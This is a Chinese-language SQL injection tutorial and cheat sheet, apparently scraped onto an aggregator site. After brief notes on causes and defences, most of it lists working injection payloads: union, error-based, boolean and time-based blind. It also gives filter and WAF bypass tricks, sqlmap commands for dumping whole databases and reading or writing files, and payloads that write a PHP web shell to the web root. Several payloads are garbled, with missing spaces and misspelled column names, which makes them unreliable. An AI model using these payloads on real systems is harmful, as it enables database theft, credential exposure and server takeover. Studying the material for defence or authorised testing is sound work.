SQL注入语法、绕过及SqlMap使用

您所在的位置:网站首页 已阻止不安全的exe SQL注入语法、绕过及SqlMap使用

SQL注入语法、绕过及SqlMap使用

2023-03-10 14:00| 来源: 网络整理| 查看: 265

漏洞产生原因

SQL注入漏洞是指攻击者在Web表单中输入恶意的SQL语句,利用应用程序未正确过滤用户输入而导致的安全漏洞。攻击者可以通过注入恶意的SQL语句来获取敏感信息,窃取数据,篡改数据,或以管理员的身份登录系统等。

要防止SQL注入攻击,需要对用户输入的数据进行严格的过滤和验证,并使用参数化查询来替代拼接SQL语句,以降低攻击的风险。此外,还可以使用Web应用程序防火墙(WAF)来识别和阻止恶意SQL注入攻击。

参数处理问题

对用户参数进行了错误类型处理

过滤环节被绕过

服务器配置问题不安全的数据库配置web应用对错误处理方式不当

不当的类型处理

不安全的数据库配置

不合理的查询集处理

不当的错误处置

转义字符处理不当

多个提交处理不当

防御方式

1.黑/白名单

2.对用户输入的内容进行转义(PHP中的addslashes()在预定义字符(' " \ NULL)前添加反斜杠、mysql_real_escape_string()函数)

eacape汉语逃逸

1677846101_6401e655bf1030fab8f77.png!small?1677846106319

3.参数化查询方式:数据库服务器完成sql指令编译后,在套用参数运行,此时就算参数中含有注入语句也不会被数据库所运行,进认为它是一个参数。

4.关键字过 (preg_replace()函数对关键字进行替换)

5.部署防火墙和WAF

字符型数字型判断字符型通过'and '1'='1 和 'and '1'='2进行判断​在url中输入http://xx.xom/?id=1' and '1'='1正常返回输入http://xx.com/?id=1' and '1'='2返回错误数字型在url中输入http://xx.com/?id=1 and 1=1正常返回输入http://xx.com/?id=1 and 1=2 返回错误mysql查询语句-handler

它是mysql专用语句

它可以是我们一条条的浏览一个表中的数据。与select的不同之处时select语句可以获取相关表的所有相关行,而handler只是返回一行。但是handler比select速度更快,

语法:handler table_name open;打开一张表,无返回结果,实际上我们在这里声明了一张table_name的句柄。​handler table_name read first;获取第一行handler table_name read next;获取下一行handler table_name read prev;获取前一行 prev汉语“昨天”handler table_name last;获取最后一行handler table_name read index_name = value .指定从那行还是获取数据,通过next获取下一个。handler table_name close;关闭打开的句柄MYSQL内置函数1.基本函数

select @@datadir 数据库存储目录

1677846128_6401e67043b47f877a8c3.png!small?1677846132862

select @@version_compile_os 查看服务器操作系统 compile汉语“编译”

1677846137_6401e67914569deeeb91b.png!small?1677846141575

select database() 查看当前数据库名称 base汉语“基”、database汉语“数据库”

select version() 查看当前数据库版本

1677846147_6401e683584689b0c03c0.png!small?1677846151959

user() 系统用户和登录主机名

2.连接函数

1677846157_6401e68df24cbced6c4c3.png!small?1677846162638

group_concat()可以将多行多列查询结果,显示在一行一列,并且多行结果之间用逗号”,”分隔

Group_concat是MySQL中的内置函数,可以将一个组中的多个值拼接成一个字符串,并以逗号分隔。该函数可以用于查询时返回多个值,而不用多次查询。它可以提高查询性能,并减少编写代码的工作量。

select group_concat(id),username,password from users;

1677846170_6401e69a15116f530f54b.png!small?1677846174602

group_by() :指定字段作为分组依据

select id,username,password from users group by id;

1677846182_6401e6a67b38306fbcc25.png!small?1677846187031

concat():将多个字符串连接成一个字符串。

select concat(id,';',username,';',password) from users;

1677846196_6401e6b4dde9f206f0902.png!small?1677846201514

联合查询1.测试闭合条件or1=1#'or 1=1#"or 1=1#)or 1=1#')or1=1#") or 1=1#"))or1=1#2.判断有几列

1' order by 3#

-1' union select 1,2,3# //可以判断回显位

3.爆数据库 aa-1' union select 1,2,group_concat(schema_name) from information_schema.schemata #​-1'unionselect1,2,database()# //爆爆当前数据库   schema汉语“模式”4.爆表 bb-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema =database() #5.爆数据库aa表bb的列-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'bb' and table_schema = database()#6.爆数据-1' union select 1,2,group_concat(username,password) from aa.bb#报错注入

前提有回显

updatexml()

利用mysql函数格式错误进行报错注入

语法:

updatexml(XML_document,Xpath_string,new_value);​XML_document:是字符串String格式,为XML文档对象名称Xpath_string:Xpath格式的字符串 new_value:string格式,替换查找到的符合条件的数据

利用方式:

xml文件路径错误,会产生报错

1.获取用户,数据库信息1' and updatexml(1,concat(0x7e,user(),0x7e,version(),0x7e,database(),0x7e,@@version_compile_os,0x7e),3)#2.爆库1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),3)#3.爆表1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),3)#4.爆列1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='aa' and table_schema=database() limit 0,1),0x7e),3)#5.爆数据1' and updatexml(1,concat(0x7e,(select username from aa.bb limit 0,1),0x7e),3)#extractvalue()

语法: extract汉语“提取”

extractvalue(XML_document,XPath_string)​XML_document:是字符串String格式,为XML文档对象名称Xpath_string:Xpath格式的字符串

利用方式:xpath格式不符报错注入

1.获取用户,数据库信息1' and extractvalue(1,concat(0x7e,database(),0x7e,version(),0x7e,@@version_compile_os,0x7e,user(),0x7e))#floor()

高版本数据库貌似不再管用了

1' and (select 1 from(select count(*),concat(user(),0x7e,floor(rand(0)*2))x from information_schema.tables group by x)a) #1.暴库select1from(selectcount(*),concat(database(),floor(rand(14)*2))x frominformation_schema.tablesgroupbyx)a​select1from(selectcount(*),count((selectgroup_concat(schema_name)frominformation_schema.schemata),floor(rand(14)*2))x frominformation_schema.tablesgroupbyx)a2.爆表select1from(selectcount(*),concat((selectgroup_concat(table_name)frominformation_schema.tableswheretable_schema=database()),floor(rand(14)*2))x frominformation_schema.tablesgroupbyx)a3.爆列select1from(selectcount(*),count((selectgroup_concat(column_name)frominformation_schema.columnswheretable_schema=database()andtable_name='bb'),floor(rand(14)*2))x frominformation_schema.tablesgroupbyx)a4.爆数据select1from(selectcount(*),count((selectgroup_concat(uaername,pssword)fromaa.bb),floor(rand(14)*2))x frominformation_schema.tablesgroupbyx)a盲注

借助的函数

length()

substr(str,pos,len) //截取字符串长度

ascii()

sleep()

if(expr1,expr2,expr3) //第一个expr1正确执行expr2

布尔盲注

借助bp爆破

1.爆当前数据库长度and(length(database())=1)2.爆数据库名称and(ascii(substr(database(),1,,1)))=100and(ascii(substr(database(),2,,1)))=1003.爆表长度and(length(selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1))=104.爆表名and(ascii(substr((selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),1,1)))=1005.爆字段长度and(length(selectcolumn_name frominformation_schema.columnswheretable_name='bb'andtable_schema =database()limit0,1))=106.爆字段名and(ascii(substr((selectcolumn_name frominformation_schema.columnswheretable_name='bb'andtable_schema=database()limit0,1),1,1)))=1007.爆数据and(ascii(substr((select'字段名'fromaa.bblimit0,1),1,1)))=100时间盲注

判断是否存在时间注入

1' and sleep(10)# 页面延时说明存在时间盲注1.爆当前数据库长度1' and if((length(database())=10,sleep(5),1)#2.爆当前数据库名1' and if(((ascii(substr((database()),1,1)))=100),sleep(5),1)#3.爆表长度1' and if((length(select table_name from information_schema.tables where table_schema=database() limit 0,1))=10,sleep(5),1)#4.爆表名1' and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=100,sleep(5),1)#5.爆列长度1' and if((length(select column_name from information_schema.columns where table_name = 'bb' and table_schema = database() limit 0,1))=10,sleep(5),1)#6.爆列名1' and if((ascii(substr((select column_name from information_schema.columns where table_name='bb' and table_schema=database() limit 0,1),1,1)))=100,sleep(5),1)#7.爆数据1' and if((ascii(substr((select uaername from aa.bb limit 0,1),1,1)))=100,sleep(5),1)#注入常见绕过1.空格绕过

/**/ ,%0a(回车),Tab键(%09),浮点数,括号,+,两个空格,%0c %0e(),

1677846233_6401e6d994989be27ba03.png!small?1677846238295

2.引号绕过

用\实现逃逸

十六进制

1677846244_6401e6e4279ecb4131e0e.png!small?1677846248909

宽字节

单引号 %bf%27   %df%27   %aa%27

宽字节绕过(GBK编码)?id=1%df' 这个时候加上(%5c)变为id=1%df%5c' 组成一个繁体字

3.大小写,复写绕过4.内联注释/*!...*/

1677846255_6401e6ef9e5334f0b598f.png!small?1677846260136

5. and or xor notand &&or ||xor |# 异或not !6.过滤等号

1677846267_6401e6fbbadaf8abeb370.png!small?1677846272470

like和rlike不加通配符与=相当

1677846283_6401e70b7aae3932ec895.png!small?1677846288056

regexp1677846292_6401e714d8b66e731d679.png!small?1677846297675l

使用大于小于绕过

1677846310_6401e7260cbe637a8169f.png!small?1677846314885

7.大于小于绕过

greatest(n1,n2,m3);返回n中的最大值

mysql> select * from users where id = 1 and greatest(ascii(substr(username,1,1)),1)=116;+----+----------+----------+| id | username | password |+----+----------+----------+| 1 | test1   | pass     |+----+----------+----------+

least(n1,n2,n3)返回n中的最小值

in关键字

mysql> select * from users where id = 1 and substr(username,1,1) in ('t');+----+----------+----------+| id | username | password |+----+----------+----------+| 1 | test1   | pass     |+----+----------+----------+1 row in set (0.01 sec)​mysql> select * from users where id = 1 and substr(username,1,1) in ('y');Empty set (0.00 sec)​

between a and b:范围在a-b之间

1677846329_6401e739e58aa0ddfd04d.png!small?1677846334488

使用between判等

mysql> select * from users where id = 1 and substr(username,1,1) between 't' and 't';+----+----------+----------+| id | username | password |+----+----------+----------+| 1 | test1   | pass     |+----+----------+----------+​8.逗号绕过from pos for len ,代表从pos开始读取len长度的子串

1677846351_6401e74fc8c8cc88432e1.png!small?1677846356641

1677846362_6401e75aba59b764eb3ce.png!small?1677846367549

join关键字

mysql> select * from users union select * from (select 1)a join (select 2)b join(select 3)c;+----+----------+----------+| id | username | password |+----+----------+----------+| 1 | test1   | pass     || 2 | user2   | pass1   || 3 | test3   | pass1   || 1 | 2       | 3       |+----+----------+----------+

1677846375_6401e767c24ebdf1684fa.png!small?1677846380356

offset关键字

适用于limit 逗号被过滤limit 1,1   limit 1 offset 29.过滤函数绕过sleep() -->benchmark()

1677846389_6401e7759ffece0f0ecf3.png!small?1677846394411

ascii()–>hex()、bin() 代替后转为stringgroup_concat()–>concat_ws()

1677846409_6401e7897e943d995c7d5.png!small?1677846414194

SqlMap基本使用

--batch

--flush-session //清除之前的注入缓存命令

-v //检测详细程度

检测url指定脚本sqlmap -u "url" --cookie="xxxx" --tamper=aa.py --batch 指定检测等级sqlmap -u "url" --cookie="xxxx" --level=5 --risk=3 --batch 读取文件sqlmap -u "url" --cookie="xxxx" --file-read "Path" --batch 写文件sqlmap -u "url" --cookie="xxxx" --file-write aa.txt --file-dest "Path" --batch 指定数据库sqlmap -u "url" --cookie="xxxx" --dbms="数据库名"使用任意的User-Agent爆破sqlmap -u "url" --cookie="xxxx" --random-agent1.post提交的数据

post.txt是抓到的数据包。

sqlmap -r post.txt sqlmap -r post.txt -p "aaa" //指定参数aaa2.get提交的数据

没有cookie可以不带

探测是否存在注入点sqlmap -u "url" --cookie="xxxx" --batch 检测所有用户sqlmap -u "url" --cookie="xxxx" --users --batch 检测数据库当前用户sqlmap -u "url" --cookie="xxxx" --current-user --batch 检测当前用户是否有管理员权限sqlmap -u "url" --cookie="xxxx" --is-dba --batch 检测所有数据库sqlmap -u "url" --cookie="xxxx" --dbs --batch 检测指定数据库中的所有表sqlmap -u "url" --cookie="xxxx" -D 数据库名 --tables --batch 检测指定数据库中表的所有列sqlmap -u "url" --cookie="xxxx" -D 数据库名 -T 表名 --columns --batch 检测指定数据库中表的所有列的值sqlmap -u "url" --cookie="xxxx" -D 数据库名 -T 表名 -C "a1,a2" --dump --batch 检测指定数据库爆中表的所有数据sqlmap -u "url" --cookie="xxxx" -D 数据库名 -T 表名 --dump-all --batch 检测指定数据库爆中的所有数据(脱库)sqlmap -u "url" --cookie="xxxx" -D 数据库名 --dump-all --batch 检测数据库爆中的所有数据sqlmap -u "url" --cookie="xxxx" --dump-all --batch --tamper脚本space2comment.py //空格绕过randomcase.py //大小写绕过base64encode//base64 编码 Payloadchardoubleencode//双url编码charencode//url编码charunicodeencode//使用 Unicode 编码charunicodeescape//使用 Unicode 编码apostrophemask//使用 UTF-8 编码字符 ’,%EF%BC%87 替换 ‘htmlencode//使用 HTML 编码 Payloadapostrophennullencode//使用 %00%27 替换 ‘overlongutf8 //对非字符数字进行 UTF-8 编码,overlongutf8moremore //对所有Payload 进行 UTF-8 编码​commentbeforeparentheses//在括号前添加注释符 /**/,如 ABS() 变为 ABS/**/()space2comment//使用注释符/**/替换空格,SELECT id FROM users 转换为 SELECT/**/id/**/FROM/**/usersspace2dash//使用注释符 –-替换空格space2hash//使用注释符 #替换空格space2morecomment//SELECT id FROM users 转换为 SELECT/**_**/id/**_**/FROM/**_**/usersrandomcomments//随机插入注释符 /**/,如 INSERT 变为 I/**/NS/**/ERTversionedkeywords//使用 MySQL 特有的注释符 /*!*/,保留关键字,在 MySQL 中/*!内容*/表示内容在 MySQL 中才执行,其它数据库中不会执行。versionedmorekeywords//使用 MySQL 特有的注释符 /*!*/,保留更多的关键字写马,读写文件检查权限

查询mysql是否有读写权限,sql注入查询secure_file_priv权限。如果为null则不允许文件读写;如果为指定路径表示mysql的导入导出限制于该目录;如果没具体值表示对导入导出没限制。

showvariableslike'%secure%';读写文件语法读文件:-1‘ unionselect1,load_file('读取文件路径'),3#写文件:-1' union select 1,'要写的内容',3 into outfile('文件路径') #payoad:

写入语句十六进制编码

-1' union select 1,2,"" into dumpfile "/var/www/shell.php" #id=2)intooutfile‘/home/wwwroot/lu4n.com/luan_phpinfo.php’ fieldsterminatedby‘’%23

除了上面说的lines terminated by还有 lines starting byfields terminated by

select*fromctfshow_user intooutfilea.txt' lines terminated by 'abc';


【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3